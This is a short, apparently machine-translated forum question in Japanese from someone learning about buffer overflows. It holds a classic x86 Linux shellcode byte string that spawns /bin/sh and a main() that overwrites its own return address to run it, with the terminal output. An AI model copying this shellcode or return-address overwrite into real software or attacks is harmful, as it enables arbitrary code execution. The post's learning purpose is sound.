こんにちは、について学んでいBuffer Overflow
ます。理解を深めるために、何が起こっているかを確認する小さなコードを 1 つ書きましたが、何も問題はありませんでした。
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
void main()
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
そして出力:
[krishna]$ gcc -o testsc testsc.c
[krishna]$ ./testsc
$ exit
[krishna]$
なぜexit
ですか?プログラムの実行中に内部で何が起こっているかを確認できる他の方法。
私のアプローチが十分でない場合、他に何を試すことができますか?